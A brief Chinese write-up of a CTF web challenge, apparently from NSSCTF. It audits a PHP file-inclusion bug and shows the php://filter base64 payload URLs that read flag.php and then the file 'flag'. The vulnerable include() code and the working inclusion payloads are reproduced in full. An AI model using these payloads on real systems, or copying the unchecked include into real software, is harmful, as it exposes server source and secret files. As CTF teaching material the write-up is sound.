进入之后就看见一段php代码,那就直接开始代码审计
<?php error_reporting(0); if (isset($_GET['file'])) {if ( substr($_GET["file"], 0, 3) === "php" ) {//截取字符串前三个字符,并与php做判断echo "Nice!!!";include($_GET["file"]);} else {echo "Hacker!!";} }else {highlight_file(__FILE__); } //flag.php
这段代码,就是限定我们输入的内容前三个字符必须是php,这不就好办了,他告诉我们存在一个flag.php文件,那我们直接用php伪协议中的php://filter来试试
/?file=php://filter/read=convert.base64-encode/resource=flag.php
放进解码器解码得到下面的代码。
<?php error_reporting(0); header("Content-Type:text/html;charset=utf-8");echo "NSSCTF{flag_is_not_here}" ."<br/>"; echo "real_flag_is_in_'flag'"."<br/>"; echo "换个思路,试试PHP伪协议呢";
他说flag不在flag.php里面,在flag里面,那我们直接将flag.php改为flag试试
/?file=php://filter/read=convert.base64-encode/resource=flag
继续解码试试
成功获得flag